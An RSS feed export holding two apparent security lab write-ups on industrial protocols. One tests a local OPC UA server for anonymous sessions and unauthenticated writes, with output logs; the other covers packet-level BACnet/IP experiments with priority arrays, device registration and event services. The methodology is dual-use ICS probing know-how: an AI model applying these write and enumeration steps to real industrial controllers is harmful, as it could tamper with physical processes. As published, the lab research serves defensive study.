<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 404Saint</title>
    <description>The latest articles on DEV Community by 404Saint (@null_saint).</description>
    <link>https://dev.to/null_saint</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3798991%2F0fd61c5d-8316-4d48-971a-49fc6e6de204.png</url>
      <title>DEV Community: 404Saint</title>
      <link>https://dev.to/null_saint</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/null_saint"/>
    <language>en</language>
    <item>
      <title>I Started With One OPC UA `GetEndpoints` Request. Then I Found Anonymous Writes.</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Tue, 11 Aug 2026 15:54:11 +0000</pubDate>
      <link>https://dev.to/null_saint/i-started-with-one-opc-ua-getendpoints-request-then-i-found-anonymous-writes-1ika</link>
      <guid>https://dev.to/null_saint/i-started-with-one-opc-ua-getendpoints-request-then-i-found-anonymous-writes-1ika</guid>
      <description>&lt;p&gt;&lt;em&gt;By RUGERO Tesla (&lt;a href="https://github.com/404saint" rel="noopener noreferrer"&gt;@404Saint&lt;/a&gt;).&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Target Server: opc.tcp://127.0.0.1:4840
[*] Sending unauthenticated GetEndpointsRequest...
[+] Received 5 exposed endpoints.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Five endpoints from a single unauthenticated &lt;code&gt;GetEndpointsRequest&lt;/code&gt;. That was the starting point for this OPC UA laboratory. The response advertised four cryptographically protected configurations and one endpoint using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SecurityMode:   None
SecurityPolicy: None
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server was therefore not enforcing a single security posture at the discovery layer. A client could select the unprotected endpoint even though &lt;code&gt;Sign&lt;/code&gt; and &lt;code&gt;SignAndEncrypt&lt;/code&gt; configurations were available.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp7ve5gbzb7gu4ay7yafe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp7ve5gbzb7gu4ay7yafe.png" alt="OPC UA endpoint discovery" width="783" height="430"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Endpoint discovery showing the five configurations advertised by the laboratory server.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That observation alone was not treated as a downgrade vulnerability. No active downgrade attack was performed. The finding was simpler: &lt;strong&gt;an unencrypted endpoint was explicitly available for client selection.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The next step was to use it.&lt;/p&gt;

&lt;h2&gt;
  
  
  From &lt;code&gt;GetEndpoints&lt;/code&gt; to &lt;code&gt;ActivateSession&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;OPC UA establishes application sessions through a defined sequence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OpenSecureChannel
        ↓
CreateSession
        ↓
ActivateSession
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using the &lt;code&gt;SecurityPolicy=None&lt;/code&gt; endpoint, an anonymous identity token was supplied during &lt;code&gt;ActivateSession&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The server accepted the session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] SecureChannel established
[+] Session activation succeeded

SecureChannel State: OPEN (SecurityPolicy#None)
Session State:       ACTIVE
Authentication Type: Anonymous
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnxe82xvfkwgwn7e8ohiz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnxe82xvfkwgwn7e8ohiz.png" alt="OPC UA anonymous session handshake" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Successful anonymous session establishment over the &lt;code&gt;SecurityPolicy=None&lt;/code&gt; endpoint.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;At this point the scope of the test changed. Endpoint discovery had established insecure exposure. Session establishment demonstrated that the exposed endpoint was actually usable without an authenticated identity. The address space was the next layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Walking the Address Space
&lt;/h2&gt;

&lt;p&gt;OPC UA does not present an industrial control environment as a flat register table.&lt;/p&gt;

&lt;p&gt;Its application model is an address space containing Objects, Variables, Methods, Properties, References, and associated metadata.&lt;/p&gt;

&lt;p&gt;A recursive traversal was therefore used to enumerate the Object graph and inspect the variables reachable through the anonymous session.&lt;/p&gt;

&lt;p&gt;The crawler followed child references and collected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browse Name
NodeId
Node Class
AccessLevel
UserAccessLevel
Current Value
Read Result
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Relative browse-path resolution was also tested against the standard Server object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0:Objects
 └── 0:Server
      └── 0:ServerStatus
           └── 0:CurrentTime
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which resolved to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ns=0;i=2258
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The traversal itself was not the interesting finding.&lt;/p&gt;

&lt;p&gt;Most of the address space did &lt;strong&gt;not&lt;/strong&gt; provide unrestricted access. Several nodes rejected reads or returned authorization-related errors.&lt;/p&gt;

&lt;p&gt;That distinction became important when evaluating write permissions.&lt;/p&gt;

&lt;h2&gt;
  
  
  AccessLevel Wasn't the Final Verdict
&lt;/h2&gt;

&lt;p&gt;The audit did not classify a variable as writable solely because an attribute suggested that it was. Readable variables were tested with actual &lt;code&gt;WriteRequest&lt;/code&gt; operations.&lt;/p&gt;

&lt;p&gt;The mutations were deliberately small and reversible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Boolean
False → True

integer
0 → 1

Double
0.0 → 1.0

Int64
0 → 1

example bytestring
b'test123' → b'test123_probe'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each successful mutation was immediately restored to its original value.&lt;/p&gt;

&lt;p&gt;The result was unambiguous:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[CRITICAL VULNERABILITY] Write ACCEPTED on tag Boolean!
Value changed: False -&amp;gt; True

[CRITICAL VULNERABILITY] Write ACCEPTED on tag integer!
Value changed: 0 -&amp;gt; 1

[CRITICAL VULNERABILITY] Write ACCEPTED on tag Double!
Value changed: 0.0 -&amp;gt; 1.0

[CRITICAL VULNERABILITY] Write ACCEPTED on tag Int64!
Value changed: 0 -&amp;gt; 1

[CRITICAL VULNERABILITY] Write ACCEPTED on tag example bytestring!
Value changed: b'test123' -&amp;gt; b'test123_probe'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc2gy1pff8uq7hc0hj18k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc2gy1pff8uq7hc0hj18k.png" alt="OPC UA address-space audit" width="800" height="526"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Recursive address-space enumeration and access-level inspection from the anonymous session.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2pxgu5prno9ltimw0y9s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2pxgu5prno9ltimw0y9s.png" alt="OPC UA write authorization testing" width="800" height="86"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Successful write mutations against five tested variables. Every mutation was reverted after verification.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This is stronger evidence than simply reporting an exposed &lt;code&gt;AccessLevel&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The server received the write request, accepted it, value changed and the original value was then restored. The finding is therefore specific to &lt;strong&gt;effective write authorization&lt;/strong&gt;: the anonymous session was able to modify the tested variables without presenting an authenticated user identity.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Security Boundaries Were Not Universally Broken
&lt;/h2&gt;

&lt;p&gt;The write finding made it important to test the other security controls rather than assume that everything was misconfigured.&lt;/p&gt;

&lt;p&gt;The endpoint configuration exposed &lt;code&gt;SecurityPolicy=None&lt;/code&gt;, but protected configurations were also available:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SignAndEncrypt     Aes128_Sha256_RsaOaep
Sign               Aes128_Sha256_RsaOaep
SignAndEncrypt     Basic256Sha256
Sign               Basic256Sha256
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An independent X.509 certificate was then generated for the certificate validation test.&lt;/p&gt;

&lt;p&gt;It was deliberately unrelated to the earlier test certificate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Subject:
CN=independent-untrusted-client

Issuer:
CN=independent-untrusted-client

Self-Signed:
True

Application URI:
urn:freeopcua:client:independent-test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The protected connection attempt used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Basic256Sha256
SignAndEncrypt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server rejected the certificate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BadCertificateUriInvalid
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsp6l0l4gkxn7vlqkvsxt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsp6l0l4gkxn7vlqkvsxt.png" alt="OPC UA X.509 trust boundary test" width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Independent self-signed certificate rejected during the protected OPC UA handshake.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Invalid username/password authentication was also rejected with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BadUserAccessDenied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The resulting security picture was therefore more nuanced than a simple “OPC UA authentication is broken” conclusion.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Security Boundary&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;SecurityPolicy=None&lt;/code&gt; advertised&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Insecure exposure&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anonymous session&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Accepted&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Address-space traversal&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Extensive visibility&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tested anonymous writes&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Accepted&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Invalid credentials&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Rejected&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Independent X.509 certificate&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Rejected&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Protected endpoints&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Available&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The significant finding was the combination of an anonymously accessible session and effective write permissions on the tested variables.&lt;/p&gt;

&lt;h2&gt;
  
  
  Seeing the Protocol Instead of Just the API
&lt;/h2&gt;

&lt;p&gt;The packet captures were an important part of the investigation.&lt;/p&gt;

&lt;p&gt;For example, the username authentication test produced an &lt;code&gt;ActivateSessionRequest&lt;/code&gt; containing a &lt;code&gt;UserNameIdentityToken&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;UserName: admin
Password: ...
EncryptionAlgorithm:
    http://www.w3.org/2001/04/xmlenc#rsa-oaep
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The client reported &lt;code&gt;BadUserAccessDenied&lt;/code&gt;, but the PCAP showed how the identity token was actually represented on the wire. That distinction matters in protocol research. A high-level library can tell you that an operation succeeded or failed but a packet capture can show the actual message, security mode, token type, request structure, and server response.&lt;/p&gt;

&lt;p&gt;The laboratory therefore combined both:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Python harness
      +
OPC UA server
      +
Wireshark / PCAP
      +
manual protocol inspection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;rather than treating the client library as the protocol itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Research Repository
&lt;/h2&gt;

&lt;p&gt;The complete laboratory is available in the repository:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/404saint/industrial-protocol-labs/tree/main/opcua-research" rel="noopener noreferrer"&gt;industrial-protocol-labs / opcua-research&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It contains the phase-by-phase notes, Python research harnesses, packet captures, screenshots, logs, and reproduction instructions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;opcua-research/
├── captures/
├── logs/
├── notes/
├── screenshots/
└── scripts/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The detailed notes cover:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OPC UA architecture and security model&lt;/li&gt;
&lt;li&gt;Endpoint discovery&lt;/li&gt;
&lt;li&gt;SecureChannel and session establishment&lt;/li&gt;
&lt;li&gt;Address-space traversal&lt;/li&gt;
&lt;li&gt;Access-level auditing&lt;/li&gt;
&lt;li&gt;Effective write authorization&lt;/li&gt;
&lt;li&gt;X.509 trust-boundary testing&lt;/li&gt;
&lt;li&gt;Laboratory reproduction&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The interesting part of this research was not any individual API call. It was following the protocol far enough to determine what an apparently ordinary anonymous session could actually do.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GetEndpoints&lt;/code&gt; was only the first request.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ics</category>
      <category>ot</category>
      <category>scada</category>
    </item>
    <item>
      <title>Building BACnet from Raw Packets: Objects, Priority Arrays, BBMDs, and Event Services</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Tue, 04 Aug 2026 15:41:40 +0000</pubDate>
      <link>https://dev.to/null_saint/building-bacnet-from-raw-packets-objects-priority-arrays-bbmds-and-event-services-3bml</link>
      <guid>https://dev.to/null_saint/building-bacnet-from-raw-packets-objects-priority-arrays-bbmds-and-event-services-3bml</guid>
      <description>&lt;p&gt;By RUGERO Tesla (&lt;a href="https:/github.com/404saint" rel="noopener noreferrer"&gt;@404saint&lt;/a&gt;) &lt;/p&gt;

&lt;p&gt;Industrial communication protocols reveal their design philosophy through the way they represent operational state.&lt;/p&gt;

&lt;p&gt;Modbus exposes memory through coils and registers.&lt;/p&gt;

&lt;p&gt;EtherNet/IP builds on the Common Industrial Protocol (CIP), organizing devices into object classes and explicit messaging services.&lt;/p&gt;

&lt;p&gt;BACnet approaches automation from an entirely different direction. Rather than treating field devices as collections of registers, it models an automation system as a distributed object database in which sensors, actuators, schedules, alarms, and configuration elements are represented as standardized objects with well-defined properties.&lt;/p&gt;

&lt;p&gt;That architectural decision fundamentally changes how clients interact with a BACnet device. Reading process information no longer involves polling register offsets; instead, application services operate directly against object instances and individual properties. Command execution is governed by priority arbitration, network communication depends on the BACnet Virtual Link Layer (BVLL), and many state changes are distributed through event-driven notifications rather than continuous polling.&lt;/p&gt;

&lt;p&gt;This article documents a packet-level analysis of those mechanisms using an isolated BACnet/IP laboratory built around the open-source &lt;strong&gt;bacnet-stack&lt;/strong&gt; implementation. Instead of relying on high-level BACnet libraries, each experiment manually constructed BVLL, NPDU, and APDU structures in Python to observe how the target implementation processed protocol requests under controlled conditions.&lt;/p&gt;

&lt;p&gt;The research was divided into four phases:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Object Model &amp;amp; Property Engine&lt;/li&gt;
&lt;li&gt;Priority Array Arbitration&lt;/li&gt;
&lt;li&gt;Routing, BBMD &amp;amp; Subnet Traversal&lt;/li&gt;
&lt;li&gt;Change-of-Value (COV), Event Services &amp;amp; BACnet/SC&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Research Environment
&lt;/h2&gt;

&lt;p&gt;The target consisted of a locally compiled &lt;strong&gt;bacnet-stack&lt;/strong&gt; server exposing a virtual BACnet/IP device over UDP port &lt;strong&gt;47808 (0xBAC0)&lt;/strong&gt;. All experiments were executed from a separate Python research harness that manually assembled protocol frames before transmitting them to the server.&lt;/p&gt;

&lt;p&gt;Unlike production assessments, the objective was not vulnerability discovery. Instead, the laboratory provided an instrumented environment for observing protocol behavior, validating packet construction, and documenting implementation responses to both expected and unusual requests.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 1 — Inspecting the BACnet Object Database
&lt;/h2&gt;

&lt;p&gt;BACnet devices organize operational state into standardized objects. Every physical or logical component of the automation system is represented as an object containing a collection of named properties.&lt;/p&gt;

&lt;p&gt;Rather than beginning with write operations, the first phase focused on understanding the controller's exposed object model.&lt;/p&gt;

&lt;p&gt;The initial experiment queried the &lt;strong&gt;Object_List&lt;/strong&gt; property of the Device object. The response returned 76 object instances, including standard BACnet object classes such as Analog Inputs, Analog Outputs, Binary Inputs, Binary Outputs, and several vendor-defined object types.&lt;/p&gt;

&lt;p&gt;Subsequent experiments exercised additional application services including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ReadProperty&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReadPropertyMultiple&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CreateObject&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DeleteObject&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Extended property identifiers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One observation recorded during testing was that the target accepted an unauthenticated &lt;code&gt;CreateObject&lt;/code&gt; request while rejecting unsupported property identifiers and protected deletion attempts using standard BACnet Error-PDUs. The implementation remained stable throughout the assessment and returned protocol-compliant error responses instead of terminating the connection.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnormy21xtrvranvrgh1q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnormy21xtrvranvrgh1q.png" alt="Figure 1. Phase 1 research harness demonstrating object enumeration, multi-property inspection, dynamic object creation, invalid property handling, and protected object deletion against the laboratory BACnet/IP target." width="687" height="674"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 1. Phase 1 research harness demonstrating object enumeration, multi-property inspection, dynamic object creation, invalid property handling, and protected object deletion against the laboratory BACnet/IP target.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The experiments established the structure of the target's internal object database before moving to command execution behavior.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2 — Understanding Priority Array Arbitration
&lt;/h2&gt;

&lt;p&gt;One of BACnet's most distinctive features is the &lt;strong&gt;Priority Array&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Unlike protocols where writing a value immediately replaces the previous state, commandable BACnet objects maintain sixteen independent priority slots. The object's effective value is determined by the highest-priority non-NULL entry within the array.&lt;/p&gt;

&lt;p&gt;To examine this behavior, the research harness issued successive &lt;code&gt;WriteProperty&lt;/code&gt; requests targeting different priority levels before reading back the resulting Priority Array.&lt;/p&gt;

&lt;p&gt;The experiments included:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Writing at Schedule priority (Slot 16)&lt;/li&gt;
&lt;li&gt;Writing at Manual Life Safety (Slot 1)&lt;/li&gt;
&lt;li&gt;Writing at Manual Operator (Slot 8)&lt;/li&gt;
&lt;li&gt;Relinquishing control using NULL&lt;/li&gt;
&lt;li&gt;Dumping the complete Priority Array&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The server acknowledged each write request with a SimpleACK, while subsequent reads demonstrated how the implementation stored and evaluated priority values.&lt;/p&gt;

&lt;p&gt;During testing, one implementation-specific observation stood out. Although a write targeted Priority Slot 8, the value later appeared in Slot 12 when the Priority Array was retrieved. Because this behavior was observed only within the laboratory implementation, no broader conclusions were drawn regarding BACnet itself. The result is simply documented as an implementation observation requiring additional investigation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffep510y1bxcugjd57rej.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffep510y1bxcugjd57rej.png" alt="Figure 2. Priority Array assessment showing writes across multiple priority levels, NULL relinquishment, and the resulting Priority_Array returned by the laboratory target." width="635" height="719"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 2. Priority Array assessment showing writes across multiple priority levels, NULL relinquishment, and the resulting Priority_Array returned by the laboratory target.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Beyond illustrating BACnet's arbitration model, the experiments highlighted how command execution depends on protocol semantics rather than simply accepting the most recent write.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3 — Routing, BBMDs, and Network Infrastructure
&lt;/h2&gt;

&lt;p&gt;BACnet/IP extends beyond application services by introducing the &lt;strong&gt;BACnet Virtual Link Layer (BVLL)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;BVLL enables communication across routed IP networks through Broadcast Management Devices (BBMDs), Foreign Device Registration, and BACnet network-layer routing services.&lt;/p&gt;

&lt;p&gt;Three infrastructure mechanisms were examined:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Foreign Device Registration&lt;/li&gt;
&lt;li&gt;Who-Is-Router-To-Network&lt;/li&gt;
&lt;li&gt;Global Who-Is broadcasts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The target acknowledged a &lt;code&gt;Register-Foreign-Device&lt;/code&gt; request using a successful BVLL Result response, indicating acceptance of the registration message at the protocol layer.&lt;/p&gt;

&lt;p&gt;Router discovery requests produced no &lt;code&gt;I-Am-Router-To-Network&lt;/code&gt; responses during the observation period, and global broadcast discovery did not identify additional BACnet devices within the laboratory environment.&lt;/p&gt;

&lt;p&gt;These observations are consistent with the isolated topology used during testing and should not be interpreted as representative of production BACnet deployments.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fch8w4fveeahqqjkl622f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fch8w4fveeahqqjkl622f.png" alt="Figure 3. BBMD and network infrastructure assessment demonstrating Foreign Device Registration, router discovery, and broadcast-based topology observations." width="658" height="384"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 3. BBMD and network infrastructure assessment demonstrating Foreign Device Registration, router discovery, and broadcast-based topology observations.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This phase reinforced the distinction between BACnet's application layer and the additional networking infrastructure required to operate across routed environments.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 4 — Event Services, COV, and BACnet/SC
&lt;/h2&gt;

&lt;p&gt;The final phase examined BACnet's event-driven communication model.&lt;/p&gt;

&lt;p&gt;Unlike protocols that depend exclusively on polling, BACnet allows clients to subscribe for &lt;strong&gt;Change of Value (COV)&lt;/strong&gt; notifications. Once subscribed, the server can transmit state updates whenever monitored values change.&lt;/p&gt;

&lt;p&gt;The research harness manually constructed a &lt;code&gt;SubscribeCOV&lt;/code&gt; request targeting an Analog Input object.&lt;/p&gt;

&lt;p&gt;The target acknowledged the subscription using a SimpleACK before transmitting an &lt;strong&gt;Unconfirmed COV Notification&lt;/strong&gt;, confirming that the subscription had been accepted and event delivery was operational.&lt;/p&gt;

&lt;p&gt;The second experiment focused on the &lt;strong&gt;Event_Enable&lt;/strong&gt; property.&lt;/p&gt;

&lt;p&gt;Rather than issuing a write operation in isolation, the property was read, modified, and read again to verify that the server stored the updated Bit String exactly as transmitted. This confirmed successful property modification within the laboratory implementation.&lt;/p&gt;

